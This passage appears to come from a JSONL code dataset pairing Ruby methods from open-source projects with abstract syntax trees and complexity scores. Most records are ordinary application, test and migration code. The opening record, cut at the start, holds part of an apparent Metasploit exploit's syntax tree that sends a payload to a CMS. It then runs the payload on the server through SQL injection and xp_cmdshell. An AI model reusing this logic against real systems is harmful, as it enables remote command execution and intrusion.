yet!\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Sending the payload to CMS...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"ivar\",\"children\":[\"@pl\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing shell...\"]}]},{\"type\":\"send\",\"children\":[null,\"inject_sql\",{\"type\":\"send\",\"children\":[null,\"create_hex_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"xp_cmdshell \\\"cmd /c C:\\\\windows\\\\temp\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filename\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"c:/windows/temp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filename\"]}]}]}]}]}]}","id":"be4b7d7e-a1b9-43f3-9950-60e231a1e65b"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/features/global_roles/mock_global_permissions.rb","start_line":45,"raw_source":"def mock_permissions(name, options = {})\n OpenProject::AccessControl::Permission.new(\n name,\n { does_not: :matter },\n permissible_on: :project,\n project_module: \"Foo\",\n public: false,\n **options\n )\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"mock_permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"AccessControl\"]},\"Permission\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"does_not\"]},{\"type\":\"sym\",\"children\":[\"matter\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissible_on\"]},{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_module\"]},{\"type\":\"str\",\"children\":[\"Foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"f309f43e-fe73-4a88-be05-782b31b2bd52"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rbmysql/protocol.rb","start_line":658,"raw_source":"def initialize(*args)\n @db, @table, @org_table, @name, @org_name, @charsetnr, @length, @type, @flags, @decimals, @default = args\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@db\"]},{\"type\":\"ivasgn\",\"children\":[\"@table\"]},{\"type\":\"ivasgn\",\"children\":[\"@org_table\"]},{\"type\":\"ivasgn\",\"children\":[\"@name\"]},{\"type\":\"ivasgn\",\"children\":[\"@org_name\"]},{\"type\":\"ivasgn\",\"children\":[\"@charsetnr\"]},{\"type\":\"ivasgn\",\"children\":[\"@length\"]},{\"type\":\"ivasgn\",\"children\":[\"@type\"]},{\"type\":\"ivasgn\",\"children\":[\"@flags\"]},{\"type\":\"ivasgn\",\"children\":[\"@decimals\"]},{\"type\":\"ivasgn\",\"children\":[\"@default\"]}]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}","id":"c7b73b42-baf6-4dab-b327-cee26a7699fa"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/progress_controller.rb","start_line":191,"raw_source":"def touched?(field)\n touched_field_map[:\"#{field}_touched\"]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"touched?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"touched_field_map\"]},\"[]\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\"_touched\"]}]}]}]}","id":"9213724d-ea1d-45a7-a07c-1b6a30624958"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/support/system_helpers.rb","start_line":90,"raw_source":"def wait_for_attribute(\n element,\n attribute,\n value,\n timeout: Capybara.default_max_wait_time,\n frequency: 0.01\n )\n try_until_success(timeout: timeout, frequency: frequency) do\n expect(element[attribute.to_sym]).to eq(value)\n end\n end","complexity_score":10.15,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"default_max_wait_time\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"frequency\",{\"type\":\"float\",\"children\":[0.01]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_until_success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"frequency\"]},{\"type\":\"lvar\",\"children\":[\"frequency\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"to_sym\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"b2500878-40ed-4eae-ba74-4c3ab192ba70"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/web_hooks_controller.rb","start_line":175,"raw_source":"def web_hook_params\n params.require(:web_hook).permit(\n :payload_url,\n :content_type,\n :secret,\n :wildcard_web_hook,\n :active,\n :verify_certificate,\n web_hook_event_type_ids: [],\n group_ids: [],\n tag_names: [],\n category_ids: [],\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"web_hook_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"web_hook\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"payload_url\"]},{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"sym\",\"children\":[\"secret\"]},{\"type\":\"sym\",\"children\":[\"wildcard_web_hook\"]},{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"sym\",\"children\":[\"verify_certificate\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"web_hook_event_type_ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_names\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"763230cb-8a94-4073-b852-0a63124854ae"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/statement_cache.rb","start_line":36,"raw_source":"def initialize(sql, retryable:)\n @sql = sql\n @retryable = retryable\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"kwarg\",\"children\":[\"retryable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sql\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@retryable\",{\"type\":\"lvar\",\"children\":[\"retryable\"]}]}]}]}","id":"f0c3359f-091c-4a6f-926b-4c219a5dd518"} {"repo_name":"liquid","file_path":"./repos/liquid/test/test_helper.rb","start_line":77,"raw_source":"def with_global_filter(*globals, &blk)\n environment = Liquid::Environment.build do |w|\n w.register_filters(globals)\n end\n\n Environment.dangerously_override(environment, &blk)\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with_global_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"globals\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"environment\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Environment\"]},\"build\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"register_filters\",{\"type\":\"lvar\",\"children\":[\"globals\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Environment\"]},\"dangerously_override\",{\"type\":\"lvar\",\"children\":[\"environment\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}]}","id":"281c042e-9c32-4afc-8a2a-278ba9dbb765"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion.rb","start_line":322,"raw_source":"def set_number_of_codes_to_nil\n self.number_of_codes = nil\n self.code_prefix = nil\n self.multi_codes = false\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_number_of_codes_to_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_codes=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"code_prefix=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"multi_codes=\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"d3fc7d4f-5d02-4045-9f2e-ca686a1a6604"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/disqus.rb","start_line":181,"raw_source":"def record(target, sym, str, *params)\n return if target.nil?\n\n if inside?(*params)\n target[sym] ||= \"\"\n target[sym] << str\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"sym\"]},{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"restarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inside?\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"sym\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"sym\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},null]}]}]}","id":"caa2f551-f825-4fd1-9bb1-ca301d6f21c3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250123202841_add_board_assignees_project_id_fk.rb","start_line":15,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key_if_exists :board_assignees, column: :project_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"board_assignees\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"4f697ccb-0c38-43d6-8aef-0c53968e64ae"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/rand_one.rb","start_line":28,"raw_source":"def on_send(node)\n return unless rand_one?(node)\n\n add_offense(node)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_one?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"4a8da875-446f-4a17-953b-981e52acf4c6"} {"repo_name":"forem","file_path":"./repos/forem/db/migrate/20210331181505_remove_twitter_counts_from_user.rb","start_line":2,"raw_source":"def change\n safety_assured do\n remove_column :users, :twitter_following_count, :integer\n remove_column :users, :twitter_followers_count, :integer\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"twitter_following_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"twitter_followers_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}]}]}","id":"92cbf8aa-d580-4bb9-91fd-4a81e1a10db6"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":942,"raw_source":"def test_accepts_token_with_path_with_query_params\n get :index\n form_token = assert_presence_and_fetch_form_csrf_token\n assert_matches_session_token_on_server form_token\n\n @request.env[\"PATH_INFO\"] = \"/per_form_tokens/post_one\"\n @request.env[\"QUERY_STRING\"] = \"key=value\"\n assert_nothing_raised do\n post :post_one, params: { custom_authenticity_token: form_token }\n end\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_accepts_token_with_path_with_query_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"lvasgn\",\"children\":[\"form_token\",{\"type\":\"send\",\"children\":[null,\"assert_presence_and_fetch_form_csrf_token\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_matches_session_token_on_server\",{\"type\":\"lvar\",\"children\":[\"form_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]},{\"type\":\"str\",\"children\":[\"/per_form_tokens/post_one\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"QUERY_STRING\"]},{\"type\":\"str\",\"children\":[\"key=value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"post_one\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"lvar\",\"children\":[\"form_token\"]}]}]}]}]}]}]}]}]}","id":"4087de71-2b65-4112-b5ba-f53568a7b60f"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":751,"raw_source":"def test_beginning_of_month\n assert_equal \"1999-12-31 19:00:00.000000000 EST -05:00\", @twz.inspect\n assert_equal \"1999-12-01 00:00:00.000000000 EST -05:00\", @twz.beginning_of_month.inspect\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_beginning_of_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1999-12-31 19:00:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@twz\"]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1999-12-01 00:00:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@twz\"]},\"beginning_of_month\"]},\"inspect\"]}]}]}]}","id":"02432f6a-4271-4235-87f0-07cbe5b5525a"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200506044956_migrate_at_desktop_bookmark_reminders.rb","start_line":4,"raw_source":"def up\n # reminder_type 0 is at_desktop, which is no longer valid\n DB.exec(<<~SQL, now: Time.zone.now)\n UPDATE bookmarks SET reminder_type = NULL, reminder_at = NULL, updated_at = :now\n WHERE reminder_type = 0\n SQL\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE bookmarks SET reminder_type = NULL, reminder_at = NULL, updated_at = :now\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE reminder_type = 0\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}]}","id":"452a0877-8834-4453-8fc7-db705db2d39b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/pending_todos_finder.rb","start_line":40,"raw_source":"def by_users(todos)\n return todos unless params[:users].present?\n\n todos.for_user(params[:users])\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"todos\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todos\"]},\"for_user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]}]}]}]}","id":"aea30b53-f8a5-45d2-af76-45c075e3df1c"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks.rb","start_line":112,"raw_source":"def self.run_checks(tracker)\n checks = self.checks_to_run(tracker)\n check_runner = self.new :min_confidence => tracker.options[:min_confidence]\n self.actually_run_checks(checks, check_runner, tracker)\n end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run_checks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checks\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"checks_to_run\",{\"type\":\"lvar\",\"children\":[\"tracker\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"check_runner\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_confidence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min_confidence\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"actually_run_checks\",{\"type\":\"lvar\",\"children\":[\"checks\"]},{\"type\":\"lvar\",\"children\":[\"check_runner\"]},{\"type\":\"lvar\",\"children\":[\"tracker\"]}]}]}]}","id":"e9f4cdd9-127a-453b-99f9-e93dedae2994"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/notifications/center.rb","start_line":108,"raw_source":"def expect_item_selected(notification)\n expect(page)\n .to have_css(\"[data-test-selector='op-ian-notification-item-#{notification.id}'][data-qa-ian-selected]\")\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_item_selected\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-test-selector='op-ian-notification-item-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"'][data-qa-ian-selected]\"]}]}]}]}]}","id":"1bb80d11-3bc7-4480-95e9-4d325dcb51e2"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_method_definition.rb","start_line":61,"raw_source":"def use_rest_or_optional_args?(node)\n node.arguments.any? { |arg| arg.type?(:restarg, :optarg, :kwoptarg) }\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"use_rest_or_optional_args?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"restarg\"]},{\"type\":\"sym\",\"children\":[\"optarg\"]},{\"type\":\"sym\",\"children\":[\"kwoptarg\"]}]}]}]}","id":"f7faf262-b9d4-48ce-bcfb-4d5d35f88008"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/initial_state_serializer.rb","start_line":87,"raw_source":"def languages\n LanguagesHelper::SUPPORTED_LOCALES.map { |(key, value)| [key, value[0], value[1]] }\n end","complexity_score":7.83,"ast_json":"{\"type\":\"def\",\"children\":[\"languages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LanguagesHelper\"]},\"SUPPORTED_LOCALES\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"56be2344-9509-4839-85c9-d2e56fada73d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/participants_service.rb","start_line":34,"raw_source":"def project_members_relation\n project.authorized_users.with_organization_user_details\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"project_members_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"authorized_users\"]},\"with_organization_user_details\"]}]}","id":"2bc9ea6c-dc4c-4b2a-979e-482f74e73519"} {"repo_name":"reek","file_path":"./repos/reek/lib/reek/configuration/configuration_converter.rb","start_line":74,"raw_source":"def strings_to_regexes_for_detectors\n return unless configuration[DETECTORS_KEY]\n\n configuration[DETECTORS_KEY].tap do |detectors|\n detectors.each_key do |detector|\n convertible_attributes(detectors[detector]).each do |attribute|\n detectors[detector][attribute] = detectors[detector][attribute].map do |item|\n to_regex item\n end\n end\n end\n end\n end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"strings_to_regexes_for_detectors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"DETECTORS_KEY\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"DETECTORS_KEY\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"detectors\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detectors\"]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"detector\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"convertible_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detectors\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"detector\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detectors\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"detector\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detectors\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"detector\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[null,\"to_regex\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}]}]}]}]}]}","id":"bef16c63-06bc-4eb5-971a-8c7629b0deea"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_belongs_to_test.rb","start_line":90,"raw_source":"def test_returned_record_with_open_transactions_should_not_be_readonly\n IdentityCache.with_fetch_read_only_records do\n Item.transaction do\n refute(IdentityCache.should_use_cache?)\n 